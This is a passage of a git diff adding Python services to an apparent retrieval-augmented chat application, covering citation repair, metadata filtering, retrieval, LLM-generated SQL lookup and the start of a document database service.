+ chat_mdl = LLMBundle(dialog.tenant_id, LLMType.IMAGE2TEXT, dialog.llm_id)
+ else:
+ chat_mdl = LLMBundle(dialog.tenant_id, LLMType.CHAT, dialog.llm_id)
+
+ if dialog.rerank_id:
+ rerank_mdl = LLMBundle(dialog.tenant_id, LLMType.RERANK, dialog.rerank_id)
+
+ if dialog.prompt_config.get("tts"):
+ tts_mdl = LLMBundle(dialog.tenant_id, LLMType.TTS)
+ return kbs, embd_mdl, rerank_mdl, chat_mdl, tts_mdl
+
+
+BAD_CITATION_PATTERNS = [
+ re.compile(r"\(\s*ID\s*[: ]*\s*(\d+)\s*\)"), # (ID: 12)
+ re.compile(r"\[\s*ID\s*[: ]*\s*(\d+)\s*\]"), # [ID: 12]
+ re.compile(r"【\s*ID\s*[: ]*\s*(\d+)\s*】"), # 【ID: 12】
+ re.compile(r"ref\s*(\d+)", flags=re.IGNORECASE), # ref12、REF 12
+]
+
+
+def repair_bad_citation_formats(answer: str, kbinfos: dict, idx: set):
+ max_index = len(kbinfos["chunks"])
+
+ def safe_add(i):
+ if 0 <= i < max_index:
+ idx.add(i)
+ return True
+ return False
+
+ def find_and_replace(pattern, group_index=1, repl=lambda i: f"ID:{i}", flags=0):
+ nonlocal answer
+
+ def replacement(match):
+ try:
+ i = int(match.group(group_index))
+ if safe_add(i):
+ return f"[{repl(i)}]"
+ except Exception:
+ pass
+ return match.group(0)
+
+ answer = re.sub(pattern, replacement, answer, flags=flags)
+
+ for pattern in BAD_CITATION_PATTERNS:
+ find_and_replace(pattern)
+
+ return answer, idx
+
+
+def convert_conditions(metadata_condition):
+ if metadata_condition is None:
+ metadata_condition = {}
+ op_mapping = {
+ "is": "=",
+ "not is": "≠"
+ }
+ return [
+ {
+ "op": op_mapping.get(cond["comparison_operator"], cond["comparison_operator"]),
+ "key": cond["name"],
+ "value": cond["value"]
+ }
+ for cond in metadata_condition.get("conditions", [])
+ ]
+
+
+def meta_filter(metas: dict, filters: list[dict]):
+ doc_ids = set([])
+
+ def filter_out(v2docs, operator, value):
+ ids = []
+ for input, docids in v2docs.items():
+ try:
+ input = float(input)
+ value = float(value)
+ except Exception:
+ input = str(input)
+ value = str(value)
+
+ for conds in [
+ (operator == "contains", str(value).lower() in str(input).lower()),
+ (operator == "not contains", str(value).lower() not in str(input).lower()),
+ (operator == "start with", str(input).lower().startswith(str(value).lower())),
+ (operator == "end with", str(input).lower().endswith(str(value).lower())),
+ (operator == "empty", not input),
+ (operator == "not empty", input),
+ (operator == "=", input == value),
+ (operator == "≠", input != value),
+ (operator == ">", input > value),
+ (operator == "<", input < value),
+ (operator == "≥", input >= value),
+ (operator == "≤", input <= value),
+ ]:
+ try:
+ if all(conds):
+ ids.extend(docids)
+ break
+ except Exception:
+ pass
+ return ids
+
+ for k, v2docs in metas.items():
+ for f in filters:
+ if k != f["key"]:
+ continue
+ ids = filter_out(v2docs, f["op"], f["value"])
+ if not doc_ids:
+ doc_ids = set(ids)
+ else:
+ doc_ids = doc_ids & set(ids)
+ if not doc_ids:
+ return []
+ return list(doc_ids)
+
+
+def chat(dialog, messages, stream=True, **kwargs):
+ assert messages[-1]["role"] == "user", "The last content of this conversation is not from user."
+ if not dialog.kb_ids and not dialog.prompt_config.get("tavily_api_key"):
+ for ans in chat_solo(dialog, messages, stream):
+ yield ans
+ return
+
+ chat_start_ts = timer()
+
+ if TenantLLMService.llm_id2llm_type(dialog.llm_id) == "image2text":
+ llm_model_config = TenantLLMService.get_model_config(dialog.tenant_id, LLMType.IMAGE2TEXT, dialog.llm_id)
+ else:
+ llm_model_config = TenantLLMService.get_model_config(dialog.tenant_id, LLMType.CHAT, dialog.llm_id)
+
+ max_tokens = llm_model_config.get("max_tokens", 8192)
+
+ check_llm_ts = timer()
+
+ langfuse_tracer = None
+ trace_context = {}
+ langfuse_keys = TenantLangfuseService.filter_by_tenant(tenant_id=dialog.tenant_id)
+ if langfuse_keys:
+ langfuse = Langfuse(public_key=langfuse_keys.public_key, secret_key=langfuse_keys.secret_key, host=langfuse_keys.host)
+ if langfuse.auth_check():
+ langfuse_tracer = langfuse
+ trace_id = langfuse_tracer.create_trace_id()
+ trace_context = {"trace_id": trace_id}
+
+ check_langfuse_tracer_ts = timer()
+ kbs, embd_mdl, rerank_mdl, chat_mdl, tts_mdl = get_models(dialog)
+ toolcall_session, tools = kwargs.get("toolcall_session"), kwargs.get("tools")
+ if toolcall_session and tools:
+ chat_mdl.bind_tools(toolcall_session, tools)
+ bind_models_ts = timer()
+
+ retriever = settings.retrievaler
+ questions = [m["content"] for m in messages if m["role"] == "user"][-3:]
+ attachments = kwargs["doc_ids"].split(",") if "doc_ids" in kwargs else []
+ if "doc_ids" in messages[-1]:
+ attachments = messages[-1]["doc_ids"]
+
+ prompt_config = dialog.prompt_config
+ field_map = KnowledgebaseService.get_field_map(dialog.kb_ids)
+ # try to use sql if field mapping is good to go
+ if field_map:
+ logging.debug("Use SQL to retrieval:{}".format(questions[-1]))
+ ans = use_sql(questions[-1], field_map, dialog.tenant_id, chat_mdl, prompt_config.get("quote", True), dialog.kb_ids)
+ if ans:
+ yield ans
+ return
+
+ for p in prompt_config["parameters"]:
+ if p["key"] == "knowledge":
+ continue
+ if p["key"] not in kwargs and not p["optional"]:
+ raise KeyError("Miss parameter: " + p["key"])
+ if p["key"] not in kwargs:
+ prompt_config["system"] = prompt_config["system"].replace("{%s}" % p["key"], " ")
+
+ if len(questions) > 1 and prompt_config.get("refine_multiturn"):
+ questions = [full_question(dialog.tenant_id, dialog.llm_id, messages)]
+ else:
+ questions = questions[-1:]
+
+ if prompt_config.get("cross_languages"):
+ questions = [cross_languages(dialog.tenant_id, dialog.llm_id, questions[0], prompt_config["cross_languages"])]
+
+ if dialog.meta_data_filter:
+ metas = DocumentService.get_meta_by_kbs(dialog.kb_ids)
+ if dialog.meta_data_filter.get("method") == "auto":
+ filters = gen_meta_filter(chat_mdl, metas, questions[-1])
+ attachments.extend(meta_filter(metas, filters))
+ if not attachments:
+ attachments = None
+ elif dialog.meta_data_filter.get("method") == "manual":
+ attachments.extend(meta_filter(metas, dialog.meta_data_filter["manual"]))
+ if not attachments:
+ attachments = None
+
+ if prompt_config.get("keyword", False):
+ questions[-1] += keyword_extraction(chat_mdl, questions[-1])
+
+ refine_question_ts = timer()
+
+ thought = ""
+ kbinfos = {"total": 0, "chunks": [], "doc_aggs": []}
+ knowledges = []
+
+ if attachments is not None and "knowledge" in [p["key"] for p in prompt_config["parameters"]]:
+ tenant_ids = list(set([kb.tenant_id for kb in kbs]))
+ knowledges = []
+ if prompt_config.get("reasoning", False):
+ reasoner = DeepResearcher(
+ chat_mdl,
+ prompt_config,
+ partial(
+ retriever.retrieval,
+ embd_mdl=embd_mdl,
+ tenant_ids=tenant_ids,
+ kb_ids=dialog.kb_ids,
+ page=1,
+ page_size=dialog.top_n,
+ similarity_threshold=0.2,
+ vector_similarity_weight=0.3,
+ doc_ids=attachments,
+ ),
+ )
+
+ for think in reasoner.thinking(kbinfos, " ".join(questions)):
+ if isinstance(think, str):
+ thought = think
+ knowledges = [t for t in think.split("\n") if t]
+ elif stream:
+ yield think
+ else:
+ if embd_mdl:
+ kbinfos = retriever.retrieval(
+ " ".join(questions),
+ embd_mdl,
+ tenant_ids,
+ dialog.kb_ids,
+ 1,
+ dialog.top_n,
+ dialog.similarity_threshold,
+ dialog.vector_similarity_weight,
+ doc_ids=attachments,
+ top=dialog.top_k,
+ aggs=False,
+ rerank_mdl=rerank_mdl,
+ rank_feature=label_question(" ".join(questions), kbs),
+ )
+ if prompt_config.get("tavily_api_key"):
+ tav = Tavily(prompt_config["tavily_api_key"])
+ tav_res = tav.retrieve_chunks(" ".join(questions))
+ kbinfos["chunks"].extend(tav_res["chunks"])
+ kbinfos["doc_aggs"].extend(tav_res["doc_aggs"])
+ if prompt_config.get("use_kg"):
+ ck = settings.kg_retrievaler.retrieval(" ".join(questions), tenant_ids, dialog.kb_ids, embd_mdl,
+ LLMBundle(dialog.tenant_id, LLMType.CHAT))
+ if ck["content_with_weight"]:
+ kbinfos["chunks"].insert(0, ck)
+
+ knowledges = kb_prompt(kbinfos, max_tokens)
+
+ logging.debug("{}->{}".format(" ".join(questions), "\n->".join(knowledges)))
+
+ retrieval_ts = timer()
+ if not knowledges and prompt_config.get("empty_response"):
+ empty_res = prompt_config["empty_response"]
+ yield {"answer": empty_res, "reference": kbinfos, "prompt": "\n\n### Query:\n%s" % " ".join(questions),
+ "audio_binary": tts(tts_mdl, empty_res)}
+ return {"answer": prompt_config["empty_response"], "reference": kbinfos}
+
+ kwargs["knowledge"] = "\n------\n" + "\n\n------\n\n".join(knowledges)
+ gen_conf = dialog.llm_setting
+
+ msg = [{"role": "system", "content": prompt_config["system"].format(**kwargs)}]
+ prompt4citation = ""
+ if knowledges and (prompt_config.get("quote", True) and kwargs.get("quote", True)):
+ prompt4citation = citation_prompt()
+ msg.extend([{"role": m["role"], "content": re.sub(r"##\d+\$\$", "", m["content"])} for m in messages if m["role"] != "system"])
+ used_token_count, msg = message_fit_in(msg, int(max_tokens * 0.95))
+ assert len(msg) >= 2, f"message_fit_in has bug: {msg}"
+ prompt = msg[0]["content"]
+
+ if "max_tokens" in gen_conf:
+ gen_conf["max_tokens"] = min(gen_conf["max_tokens"], max_tokens - used_token_count)
+
+ def decorate_answer(answer):
+ nonlocal embd_mdl, prompt_config, knowledges, kwargs, kbinfos, prompt, retrieval_ts, questions, langfuse_tracer
+
+ refs = []
+ ans = answer.split("")
+ think = ""
+ if len(ans) == 2:
+ think = ans[0] + ""
+ answer = ans[1]
+
+ if knowledges and (prompt_config.get("quote", True) and kwargs.get("quote", True)):
+ idx = set([])
+ if embd_mdl and not re.search(r"\[ID:([0-9]+)\]", answer):
+ answer, idx = retriever.insert_citations(
+ answer,
+ [ck["content_ltks"] for ck in kbinfos["chunks"]],
+ [ck["vector"] for ck in kbinfos["chunks"]],
+ embd_mdl,
+ tkweight=1 - dialog.vector_similarity_weight,
+ vtweight=dialog.vector_similarity_weight,
+ )
+ else:
+ for match in re.finditer(r"\[ID:([0-9]+)\]", answer):
+ i = int(match.group(1))
+ if i < len(kbinfos["chunks"]):
+ idx.add(i)
+
+ answer, idx = repair_bad_citation_formats(answer, kbinfos, idx)
+
+ idx = set([kbinfos["chunks"][int(i)]["doc_id"] for i in idx])
+ recall_docs = [d for d in kbinfos["doc_aggs"] if d["doc_id"] in idx]
+ if not recall_docs:
+ recall_docs = kbinfos["doc_aggs"]
+ kbinfos["doc_aggs"] = recall_docs
+
+ refs = deepcopy(kbinfos)
+ for c in refs["chunks"]:
+ if c.get("vector"):
+ del c["vector"]
+
+ if answer.lower().find("invalid key") >= 0 or answer.lower().find("invalid api") >= 0:
+ answer += " Please set LLM API-Key in 'User Setting -> Model providers -> API-Key'"
+ finish_chat_ts = timer()
+
+ total_time_cost = (finish_chat_ts - chat_start_ts) * 1000
+ check_llm_time_cost = (check_llm_ts - chat_start_ts) * 1000
+ check_langfuse_tracer_cost = (check_langfuse_tracer_ts - check_llm_ts) * 1000
+ bind_embedding_time_cost = (bind_models_ts - check_langfuse_tracer_ts) * 1000
+ refine_question_time_cost = (refine_question_ts - bind_models_ts) * 1000
+ retrieval_time_cost = (retrieval_ts - refine_question_ts) * 1000
+ generate_result_time_cost = (finish_chat_ts - retrieval_ts) * 1000
+
+ tk_num = num_tokens_from_string(think + answer)
+ prompt += "\n\n### Query:\n%s" % " ".join(questions)
+ prompt = (
+ f"{prompt}\n\n"
+ "## Time elapsed:\n"
+ f" - Total: {total_time_cost:.1f}ms\n"
+ f" - Check LLM: {check_llm_time_cost:.1f}ms\n"
+ f" - Check Langfuse tracer: {check_langfuse_tracer_cost:.1f}ms\n"
+ f" - Bind models: {bind_embedding_time_cost:.1f}ms\n"
+ f" - Query refinement(LLM): {refine_question_time_cost:.1f}ms\n"
+ f" - Retrieval: {retrieval_time_cost:.1f}ms\n"
+ f" - Generate answer: {generate_result_time_cost:.1f}ms\n\n"
+ "## Token usage:\n"
+ f" - Generated tokens(approximately): {tk_num}\n"
+ f" - Token speed: {int(tk_num / (generate_result_time_cost / 1000.0))}/s"
+ )
+
+ # Add a condition check to call the end method only if langfuse_tracer exists
+ if langfuse_tracer and "langfuse_generation" in locals():
+ langfuse_output = "\n" + re.sub(r"^.*?(### Query:.*)", r"\1", prompt, flags=re.DOTALL)
+ langfuse_output = {"time_elapsed:": re.sub(r"\n", " \n", langfuse_output), "created_at": time.time()}
+ langfuse_generation.update(output=langfuse_output)
+ langfuse_generation.end()
+
+ return {"answer": think + answer, "reference": refs, "prompt": re.sub(r"\n", " \n", prompt), "created_at": time.time()}
+
+ if langfuse_tracer:
+ langfuse_generation = langfuse_tracer.start_generation(
+ trace_context=trace_context, name="chat", model=llm_model_config["llm_name"],
+ input={"prompt": prompt, "prompt4citation": prompt4citation, "messages": msg}
+ )
+
+ if stream:
+ last_ans = ""
+ answer = ""
+ for ans in chat_mdl.chat_streamly(prompt + prompt4citation, msg[1:], gen_conf):
+ if thought:
+ ans = re.sub(r"^.*", "", ans, flags=re.DOTALL)
+ answer = ans
+ delta_ans = ans[len(last_ans):]
+ if num_tokens_from_string(delta_ans) < 16:
+ continue
+ last_ans = answer
+ yield {"answer": thought + answer, "reference": {}, "audio_binary": tts(tts_mdl, delta_ans)}
+ delta_ans = answer[len(last_ans):]
+ if delta_ans:
+ yield {"answer": thought + answer, "reference": {}, "audio_binary": tts(tts_mdl, delta_ans)}
+ yield decorate_answer(thought + answer)
+ else:
+ answer = chat_mdl.chat(prompt + prompt4citation, msg[1:], gen_conf)
+ user_content = msg[-1].get("content", "[content not available]")
+ logging.debug("User: {}|Assistant: {}".format(user_content, answer))
+ res = decorate_answer(answer)
+ res["audio_binary"] = tts(tts_mdl, answer)
+ yield res
+
+
+def use_sql(question, field_map, tenant_id, chat_mdl, quota=True, kb_ids=None):
+ sys_prompt = "You are a Database Administrator. You need to check the fields of the following tables based on the user's list of questions and write the SQL corresponding to the last question."
+ user_prompt = """
+Table name: {};
+Table of database fields are as follows:
+{}
+
+Question are as follows:
+{}
+Please write the SQL, only SQL, without any other explanations or text.
+""".format(index_name(tenant_id), "\n".join([f"{k}: {v}" for k, v in field_map.items()]), question)
+ tried_times = 0
+
+ def get_table():
+ nonlocal sys_prompt, user_prompt, question, tried_times
+ sql = chat_mdl.chat(sys_prompt, [{"role": "user", "content": user_prompt}], {"temperature": 0.06})
+ sql = re.sub(r"^.*", "", sql, flags=re.DOTALL)
+ logging.debug(f"{question} ==> {user_prompt} get SQL: {sql}")
+ sql = re.sub(r"[\r\n]+", " ", sql.lower())
+ sql = re.sub(r".*select ", "select ", sql.lower())
+ sql = re.sub(r" +", " ", sql)
+ sql = re.sub(r"([;;]|```).*", "", sql)
+ if sql[: len("select ")] != "select ":
+ return None, None
+ if not re.search(r"((sum|avg|max|min)\(|group by )", sql.lower()):
+ if sql[: len("select *")] != "select *":
+ sql = "select doc_id,docnm_kwd," + sql[6:]
+ else:
+ flds = []
+ for k in field_map.keys():
+ if k in forbidden_select_fields4resume:
+ continue
+ if len(flds) > 11:
+ break
+ flds.append(k)
+ sql = "select doc_id,docnm_kwd," + ",".join(flds) + sql[8:]
+
+ if kb_ids:
+ kb_filter = "(" + " OR ".join([f"kb_id = '{kb_id}'" for kb_id in kb_ids]) + ")"
+ if "where" not in sql.lower():
+ sql += f" WHERE {kb_filter}"
+ else:
+ sql += f" AND {kb_filter}"
+
+ logging.debug(f"{question} get SQL(refined): {sql}")
+ tried_times += 1
+ return settings.retrievaler.sql_retrieval(sql, format="json"), sql
+
+ tbl, sql = get_table()
+ if tbl is None:
+ return None
+ if tbl.get("error") and tried_times <= 2:
+ user_prompt = """
+ Table name: {};
+ Table of database fields are as follows:
+ {}
+
+ Question are as follows:
+ {}
+ Please write the SQL, only SQL, without any other explanations or text.
+
+
+ The SQL error you provided last time is as follows:
+ {}
+
+ Error issued by database as follows:
+ {}
+
+ Please correct the error and write SQL again, only SQL, without any other explanations or text.
+ """.format(index_name(tenant_id), "\n".join([f"{k}: {v}" for k, v in field_map.items()]), question, sql, tbl["error"])
+ tbl, sql = get_table()
+ logging.debug("TRY it again: {}".format(sql))
+
+ logging.debug("GET table: {}".format(tbl))
+ if tbl.get("error") or len(tbl["rows"]) == 0:
+ return None
+
+ docid_idx = set([ii for ii, c in enumerate(tbl["columns"]) if c["name"] == "doc_id"])
+ doc_name_idx = set([ii for ii, c in enumerate(tbl["columns"]) if c["name"] == "docnm_kwd"])
+ column_idx = [ii for ii in range(len(tbl["columns"])) if ii not in (docid_idx | doc_name_idx)]
+
+ # compose Markdown table
+ columns = (
+ "|" + "|".join(
+ [re.sub(r"(/.*|([^()]+))", "", field_map.get(tbl["columns"][i]["name"], tbl["columns"][i]["name"])) for i in column_idx]) + (
+ "|Source|" if docid_idx and docid_idx else "|")
+ )
+
+ line = "|" + "|".join(["------" for _ in range(len(column_idx))]) + ("|------|" if docid_idx and docid_idx else "")
+
+ rows = ["|" + "|".join([rmSpace(str(r[i])) for i in column_idx]).replace("None", " ") + "|" for r in tbl["rows"]]
+ rows = [r for r in rows if re.sub(r"[ |]+", "", r)]
+ if quota:
+ rows = "\n".join([r + f" ##{ii}$$ |" for ii, r in enumerate(rows)])
+ else:
+ rows = "\n".join([r + f" ##{ii}$$ |" for ii, r in enumerate(rows)])
+ rows = re.sub(r"T[0-9]{2}:[0-9]{2}:[0-9]{2}(\.[0-9]+Z)?\|", "|", rows)
+
+ if not docid_idx or not doc_name_idx:
+ logging.warning("SQL missing field: " + sql)
+ return {"answer": "\n".join([columns, line, rows]), "reference": {"chunks": [], "doc_aggs": []}, "prompt": sys_prompt}
+
+ docid_idx = list(docid_idx)[0]
+ doc_name_idx = list(doc_name_idx)[0]
+ doc_aggs = {}
+ for r in tbl["rows"]:
+ if r[docid_idx] not in doc_aggs:
+ doc_aggs[r[docid_idx]] = {"doc_name": r[doc_name_idx], "count": 0}
+ doc_aggs[r[docid_idx]]["count"] += 1
+ return {
+ "answer": "\n".join([columns, line, rows]),
+ "reference": {
+ "chunks": [{"doc_id": r[docid_idx], "docnm_kwd": r[doc_name_idx]} for r in tbl["rows"]],
+ "doc_aggs": [{"doc_id": did, "doc_name": d["doc_name"], "count": d["count"]} for did, d in doc_aggs.items()],
+ },
+ "prompt": sys_prompt,
+ }
+
+
+def tts(tts_mdl, text):
+ if not tts_mdl or not text:
+ return
+ bin = b""
+ for chunk in tts_mdl.tts(text):
+ bin += chunk
+ return binascii.hexlify(bin).decode("utf-8")
+
+
+def ask(question, kb_ids, tenant_id, chat_llm_name=None, search_config={}):
+ doc_ids = search_config.get("doc_ids", [])
+ rerank_mdl = None
+ kb_ids = search_config.get("kb_ids", kb_ids)
+ chat_llm_name = search_config.get("chat_id", chat_llm_name)
+ rerank_id = search_config.get("rerank_id", "")
+ meta_data_filter = search_config.get("meta_data_filter")
+
+ kbs = KnowledgebaseService.get_by_ids(kb_ids)
+ embedding_list = list(set([kb.embd_id for kb in kbs]))
+
+ is_knowledge_graph = all([kb.parser_id == ParserType.KG for kb in kbs])
+ retriever = settings.retrievaler if not is_knowledge_graph else settings.kg_retrievaler
+
+ embd_mdl = LLMBundle(tenant_id, LLMType.EMBEDDING, embedding_list[0])
+ chat_mdl = LLMBundle(tenant_id, LLMType.CHAT, chat_llm_name)
+ if rerank_id:
+ rerank_mdl = LLMBundle(tenant_id, LLMType.RERANK, rerank_id)
+ max_tokens = chat_mdl.max_length
+ tenant_ids = list(set([kb.tenant_id for kb in kbs]))
+
+ if meta_data_filter:
+ metas = DocumentService.get_meta_by_kbs(kb_ids)
+ if meta_data_filter.get("method") == "auto":
+ filters = gen_meta_filter(chat_mdl, metas, question)
+ doc_ids.extend(meta_filter(metas, filters))
+ if not doc_ids:
+ doc_ids = None
+ elif meta_data_filter.get("method") == "manual":
+ doc_ids.extend(meta_filter(metas, meta_data_filter["manual"]))
+ if not doc_ids:
+ doc_ids = None
+
+ kbinfos = retriever.retrieval(
+ question=question,
+ embd_mdl=embd_mdl,
+ tenant_ids=tenant_ids,
+ kb_ids=kb_ids,
+ page=1,
+ page_size=12,
+ similarity_threshold=search_config.get("similarity_threshold", 0.1),
+ vector_similarity_weight=search_config.get("vector_similarity_weight", 0.3),
+ top=search_config.get("top_k", 1024),
+ doc_ids=doc_ids,
+ aggs=False,
+ rerank_mdl=rerank_mdl,
+ rank_feature=label_question(question, kbs)
+ )
+
+ knowledges = kb_prompt(kbinfos, max_tokens)
+ sys_prompt = PROMPT_JINJA_ENV.from_string(ASK_SUMMARY).render(knowledge="\n".join(knowledges))
+
+ msg = [{"role": "user", "content": question}]
+
+ def decorate_answer(answer):
+ nonlocal knowledges, kbinfos, sys_prompt
+ answer, idx = retriever.insert_citations(answer, [ck["content_ltks"] for ck in kbinfos["chunks"]], [ck["vector"] for ck in kbinfos["chunks"]],
+ embd_mdl, tkweight=0.7, vtweight=0.3)
+ idx = set([kbinfos["chunks"][int(i)]["doc_id"] for i in idx])
+ recall_docs = [d for d in kbinfos["doc_aggs"] if d["doc_id"] in idx]
+ if not recall_docs:
+ recall_docs = kbinfos["doc_aggs"]
+ kbinfos["doc_aggs"] = recall_docs
+ refs = deepcopy(kbinfos)
+ for c in refs["chunks"]:
+ if c.get("vector"):
+ del c["vector"]
+
+ if answer.lower().find("invalid key") >= 0 or answer.lower().find("invalid api") >= 0:
+ answer += " Please set LLM API-Key in 'User Setting -> Model Providers -> API-Key'"
+ refs["chunks"] = chunks_format(refs)
+ return {"answer": answer, "reference": refs}
+
+ answer = ""
+ for ans in chat_mdl.chat_streamly(sys_prompt, msg, {"temperature": 0.1}):
+ answer = ans
+ yield {"answer": answer, "reference": {}}
+ yield decorate_answer(answer)
+
+
+def gen_mindmap(question, kb_ids, tenant_id, search_config={}):
+ meta_data_filter = search_config.get("meta_data_filter", {})
+ doc_ids = search_config.get("doc_ids", [])
+ rerank_id = search_config.get("rerank_id", "")
+ rerank_mdl = None
+ kbs = KnowledgebaseService.get_by_ids(kb_ids)
+ if not kbs:
+ return {"error": "No KB selected"}
+ embedding_list = list(set([kb.embd_id for kb in kbs]))
+ tenant_ids = list(set([kb.tenant_id for kb in kbs]))
+
+ embd_mdl = LLMBundle(tenant_id, LLMType.EMBEDDING, llm_name=embedding_list[0])
+ chat_mdl = LLMBundle(tenant_id, LLMType.CHAT, llm_name=search_config.get("chat_id", ""))
+ if rerank_id:
+ rerank_mdl = LLMBundle(tenant_id, LLMType.RERANK, rerank_id)
+
+ if meta_data_filter:
+ metas = DocumentService.get_meta_by_kbs(kb_ids)
+ if meta_data_filter.get("method") == "auto":
+ filters = gen_meta_filter(chat_mdl, metas, question)
+ doc_ids.extend(meta_filter(metas, filters))
+ if not doc_ids:
+ doc_ids = None
+ elif meta_data_filter.get("method") == "manual":
+ doc_ids.extend(meta_filter(metas, meta_data_filter["manual"]))
+ if not doc_ids:
+ doc_ids = None
+
+ ranks = settings.retrievaler.retrieval(
+ question=question,
+ embd_mdl=embd_mdl,
+ tenant_ids=tenant_ids,
+ kb_ids=kb_ids,
+ page=1,
+ page_size=12,
+ similarity_threshold=search_config.get("similarity_threshold", 0.2),
+ vector_similarity_weight=search_config.get("vector_similarity_weight", 0.3),
+ top=search_config.get("top_k", 1024),
+ doc_ids=doc_ids,
+ aggs=False,
+ rerank_mdl=rerank_mdl,
+ rank_feature=label_question(question, kbs),
+ )
+ mindmap = MindMapExtractor(chat_mdl)
+ mind_map = trio.run(mindmap, [c["content_with_weight"] for c in ranks["chunks"]])
+ return mind_map.output
diff --git a/api/db/services/document_service.py b/api/db/services/document_service.py
new file mode 100644
index 0000000..61d1c6e
--- /dev/null
+++ b/api/db/services/document_service.py
@@ -0,0 +1,975 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+import logging
+import random
+import re
+from concurrent.futures import ThreadPoolExecutor
+from copy import deepcopy
+from datetime import datetime
+from io import BytesIO
+
+import trio
+import xxhash
+from peewee import fn, Case, JOIN
+
+from api import settings
+from api.constants import IMG_BASE64_PREFIX, FILE_NAME_LEN_LIMIT
+from api.db import FileType, LLMType, ParserType, StatusEnum, TaskStatus, UserTenantRole, CanvasCategory
+from api.db.db_models import DB, Document, Knowledgebase, Task, Tenant, UserTenant, File2Document, File, UserCanvas, \
+ User
+from api.db.db_utils import bulk_insert_into_db
+from api.db.services.common_service import CommonService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.utils import current_timestamp, get_format_time, get_uuid
+from rag.nlp import rag_tokenizer, search
+from rag.settings import get_svr_queue_name, SVR_CONSUMER_GROUP_NAME
+from rag.utils.redis_conn import REDIS_CONN
+from rag.utils.storage_factory import STORAGE_IMPL
+from rag.utils.doc_store_conn import OrderByExpr
+
+
+class DocumentService(CommonService):
+ model = Document
+
+ @classmethod
+ def get_cls_model_fields(cls):
+ return [
+ cls.model.id,
+ cls.model.thumbnail,
+ cls.model.kb_id,
+ cls.model.parser_id,
+ cls.model.pipeline_id,
+ cls.model.parser_config,
+ cls.model.source_type,
+ cls.model.type,
+ cls.model.created_by,
+ cls.model.name,
+ cls.model.location,
+ cls.model.size,
+ cls.model.token_num,
+ cls.model.chunk_num,
+ cls.model.progress,
+ cls.model.progress_msg,
+ cls.model.process_begin_at,
+ cls.model.process_duration,
+ cls.model.meta_fields,
+ cls.model.suffix,
+ cls.model.run,
+ cls.model.status,
+ cls.model.create_time,
+ cls.model.create_date,
+ cls.model.update_time,
+ cls.model.update_date,
+ ]
+
+ @classmethod
+ @DB.connection_context()
+ def get_list(cls, kb_id, page_number, items_per_page,
+ orderby, desc, keywords, id, name):
+ fields = cls.get_cls_model_fields()
+ docs = cls.model.select(*[*fields, UserCanvas.title]).join(File2Document, on = (File2Document.document_id == cls.model.id))\
+ .join(File, on = (File.id == File2Document.file_id))\
+ .join(UserCanvas, on = ((cls.model.pipeline_id == UserCanvas.id) & (UserCanvas.canvas_category == CanvasCategory.DataFlow.value)), join_type=JOIN.LEFT_OUTER)\
+ .where(cls.model.kb_id == kb_id)
+ if id:
+ docs = docs.where(
+ cls.model.id == id)
+ if name:
+ docs = docs.where(
+ cls.model.name == name
+ )
+ if keywords:
+ docs = docs.where(
+ fn.LOWER(cls.model.name).contains(keywords.lower())
+ )
+ if desc:
+ docs = docs.order_by(cls.model.getter_by(orderby).desc())
+ else:
+ docs = docs.order_by(cls.model.getter_by(orderby).asc())
+
+ count = docs.count()
+ docs = docs.paginate(page_number, items_per_page)
+ return list(docs.dicts()), count
+
+ @classmethod
+ @DB.connection_context()
+ def check_doc_health(cls, tenant_id: str, filename):
+ import os
+ MAX_FILE_NUM_PER_USER = int(os.environ.get("MAX_FILE_NUM_PER_USER", 0))
+ if MAX_FILE_NUM_PER_USER > 0 and DocumentService.get_doc_count(tenant_id) >= MAX_FILE_NUM_PER_USER:
+ raise RuntimeError("Exceed the maximum file number of a free user!")
+ if len(filename.encode("utf-8")) > FILE_NAME_LEN_LIMIT:
+ raise RuntimeError("Exceed the maximum length of file name!")
+ return True
+
+ @classmethod
+ @DB.connection_context()
+ def get_by_kb_id(cls, kb_id, page_number, items_per_page,
+ orderby, desc, keywords, run_status, types, suffix):
+ fields = cls.get_cls_model_fields()
+ if keywords:
+ docs = cls.model.select(*[*fields, UserCanvas.title.alias("pipeline_name"), User.nickname])\
+ .join(File2Document, on=(File2Document.document_id == cls.model.id))\
+ .join(File, on=(File.id == File2Document.file_id))\
+ .join(UserCanvas, on=(cls.model.pipeline_id == UserCanvas.id), join_type=JOIN.LEFT_OUTER)\
+ .join(User, on=(cls.model.created_by == User.id), join_type=JOIN.LEFT_OUTER)\
+ .where(
+ (cls.model.kb_id == kb_id),
+ (fn.LOWER(cls.model.name).contains(keywords.lower()))
+ )
+ else:
+ docs = cls.model.select(*[*fields, UserCanvas.title.alias("pipeline_name"), User.nickname])\
+ .join(File2Document, on=(File2Document.document_id == cls.model.id))\
+ .join(UserCanvas, on=(cls.model.pipeline_id == UserCanvas.id), join_type=JOIN.LEFT_OUTER)\
+ .join(File, on=(File.id == File2Document.file_id))\
+ .join(User, on=(cls.model.created_by == User.id), join_type=JOIN.LEFT_OUTER)\
+ .where(cls.model.kb_id == kb_id)
+
+ if run_status:
+ docs = docs.where(cls.model.run.in_(run_status))
+ if types:
+ docs = docs.where(cls.model.type.in_(types))
+ if suffix:
+ docs = docs.where(cls.model.suffix.in_(suffix))
+
+ count = docs.count()
+ if desc:
+ docs = docs.order_by(cls.model.getter_by(orderby).desc())
+ else:
+ docs = docs.order_by(cls.model.getter_by(orderby).asc())
+
+
+ if page_number and items_per_page:
+ docs = docs.paginate(page_number, items_per_page)
+
+ return list(docs.dicts()), count
+
+ @classmethod
+ @DB.connection_context()
+ def get_filter_by_kb_id(cls, kb_id, keywords, run_status, types, suffix):
+ """
+ returns:
+ {
+ "suffix": {
+ "ppt": 1,
+ "doxc": 2
+ },
+ "run_status": {
+ "1": 2,
+ "2": 2
+ }
+ }, total
+ where "1" => RUNNING, "2" => CANCEL
+ """
+ fields = cls.get_cls_model_fields()
+ if keywords:
+ query = cls.model.select(*fields).join(File2Document, on=(File2Document.document_id == cls.model.id)).join(File, on=(File.id == File2Document.file_id)).where(
